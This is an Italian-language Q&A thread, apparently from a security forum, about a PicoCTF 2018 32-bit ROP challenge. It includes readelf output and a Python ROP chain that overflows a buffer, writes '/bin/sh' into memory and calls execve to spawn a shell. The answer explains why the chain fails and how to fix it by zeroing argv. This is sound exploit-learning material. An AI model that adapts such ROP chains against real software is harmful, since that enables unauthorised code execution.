Dove in un file binario può essere scritto '/ bin / sh' per ottenere una shell?

3

Mi sono imbattuto in qualche comportamento in una sfida CTF che sembra molto strano e mi chiedevo se qualcuno potesse aiutarmi a capirlo.

La sfida CTF era la sfida can-you-gets-me in PicoCTF2018 .

Era una sfida ROP (32 bit), e nel mio primo tentativo, ho scritto '/ bin / sh \ x00' in un punto nel mezzo della sezione .data ( 0x080ea6a0 ), ma quando Ho eseguito l'exploit, ho ottenuto:

/bin/sh: 1: /bin/sh: Syntax error: word unexpected (expecting ")")

Dopo aver cercato online alcune soluzioni, ho scoperto che stavano usando indirizzi diversi per me. Ho provato uno di loro e ho scoperto che l'exploit funzionava con un indirizzo ( 0x80e9d60 ) che non sembra essere in nessuna sezione.

L'output readelf per le sezioni era:

$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A  0   0  4
  [ 2] .note.gnu.build-i NOTE            08048114 000114 000024 00   A  0   0  4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
  [ 3] .rel.plt          REL             08048138 000138 000070 08  AI  0  23  4
  [ 4] .init             PROGBITS        080481a8 0001a8 000023 00  AX  0   0  4
  [ 5] .plt              PROGBITS        080481d0 0001d0 0000e0 00  AX  0   0 16
  [ 6] .text             PROGBITS        080482b0 0002b0 07253c 00  AX  0   0 16
  [ 7] __libc_freeres_fn PROGBITS        080ba7f0 0727f0 000a6d 00  AX  0   0 16
  [ 8] __libc_thread_fre PROGBITS        080bb260 073260 00009e 00  AX  0   0 16
  [ 9] .fini             PROGBITS        080bb300 073300 000014 00  AX  0   0  4
  [10] .rodata           PROGBITS        080bb320 073320 01a8ac 00   A  0   0 32
  [11] __libc_subfreeres PROGBITS        080d5bcc 08dbcc 000028 00   A  0   0  4
  [12] __libc_atexit     PROGBITS        080d5bf4 08dbf4 000004 00   A  0   0  4
  [13] __libc_thread_sub PROGBITS        080d5bf8 08dbf8 000004 00   A  0   0  4
  [14] .eh_frame         PROGBITS        080d5bfc 08dbfc 012b10 00   A  0   0  4
  [15] .gcc_except_table PROGBITS        080e870c 0a070c 0000d0 00   A  0   0  1
  [16] .tdata            PROGBITS        080e9f5c 0a0f5c 000010 00 WAT  0   0  4
  [17] .tbss             NOBITS          080e9f6c 0a0f6c 000018 00 WAT  0   0  4
  [18] .init_array       INIT_ARRAY      080e9f6c 0a0f6c 000008 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      080e9f74 0a0f74 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        080e9f7c 0a0f7c 000004 00  WA  0   0  4
  [21] .data.rel.ro      PROGBITS        080e9f80 0a0f80 000070 00  WA  0   0 32
  [22] .got              PROGBITS        080e9ff0 0a0ff0 000008 04  WA  0   0  4
  [23] .got.plt          PROGBITS        080ea000 0a1000 000044 04  WA  0   0  4
  [24] .data             PROGBITS        080ea060 0a1060 000f20 00  WA  0   0 32
  [25] .bss              NOBITS          080eaf80 0a1f80 000e0c 00  WA  0   0 32
  [26] __libc_freeres_pt NOBITS          080ebd8c 0a1f80 000018 00  WA  0   0  4
  [27] .comment          PROGBITS        00000000 0a1f80 000035 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 0b0b7c 00014c 00      0   0  1
  [29] .symtab           SYMTAB          00000000 0a1fb8 007ec0 10     30 847  4
  [30] .strtab           STRTAB          00000000 0a9e78 006d04 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

E qui ci sono alcuni esempi di indirizzi che hanno funzionato:

  • 0x080e9d60 (menzionato sopra)
  • 0x080e9ff0 ( .got )
  • 0x080ebd8c ( libc_freeres_ptrs )
  • 0x080e9f3c
  • 0x080e9f4c
  • 0x080e9f4c
  • 0x080ea040
  • 0x080eaf60
  • 0x080ebd6c

La mia domanda è: Che cosa c'è di così speciale sopra questi indirizzi che consentono all'impatto di funzionare, mentre gli altri no? ovvero quali criteri si dovrebbero osservare per scegliere un indirizzo per scrivere i dati in un exploit?

Lo stack ROP Ecco parte dello script python che sto usando per generare il payload, per riferimento:

# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60

# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret

# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'

# The buffer to overwrite with junk
payload = 'A'*28

# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)

# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)

# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)

# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)

# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)

Modifica: dopo ulteriori ricerche, una possibile spiegazione che ho trovato è che il nuovo processo /bin/sh sovrascrive porzioni di memoria. Vedi link . È questa la ragione?

    
posta Zack 17.12.2018 - 03:46
fonte

1 risposta

2

Dovresti essere in grado di scrivere su qualsiasi pagina scrivibile (a meno che l'indirizzo non contenga un byte errato che il vettore di input userà come delimitatore o filtro). 0x80e9d60 è una di queste regioni scrivibili. Non c'è nulla di intrinsecamente sbagliato nell'indirizzo 0x080ea6a0 (che giace in main_arena) che stai utilizzando.

Quando stai eseguendo int 0x80 , i registri rilevanti sono:

eax: 0xb (syscall: sys_execve)
ebx: 0x80ea6a0 (filename: "/bin/sh")
ecx: 0x80ea6a8 (argv: [0x080ea6a0, 0x080ea6a0, ...])
edx: 0x0000000 (envp: null)

Vedi il problema con argv ? Nello stack rop originale in writeup, stanno azzerando ecx . Ma il tuo ecx è solo address+8 , che può contenere o meno byte nulli a seconda del address . Quindi stai essenzialmente chiamando /bin/sh *garbage* *garbage* .. , mentre dovrebbe essere solo /bin/sh . Quindi il codice viene effettivamente eseguito, ma /bin/sh viene confuso con gli argomenti garbage che vengono passati.

Devi rendere argv null o qualche altro valore sensato (se in realtà intendi passare qualsiasi argomento). Pertanto, modifica lo stack ROP in null out ecx (argv) oppure scegli un indirizzo in cui hai nullo a address + 8 .

Prendi l'abitudine di eseguire il tuo exploit in un debugger per vedere cosa sta realmente accadendo.

    
risposta data 17.12.2018 - 08:55
fonte

Leggi altre domande sui tag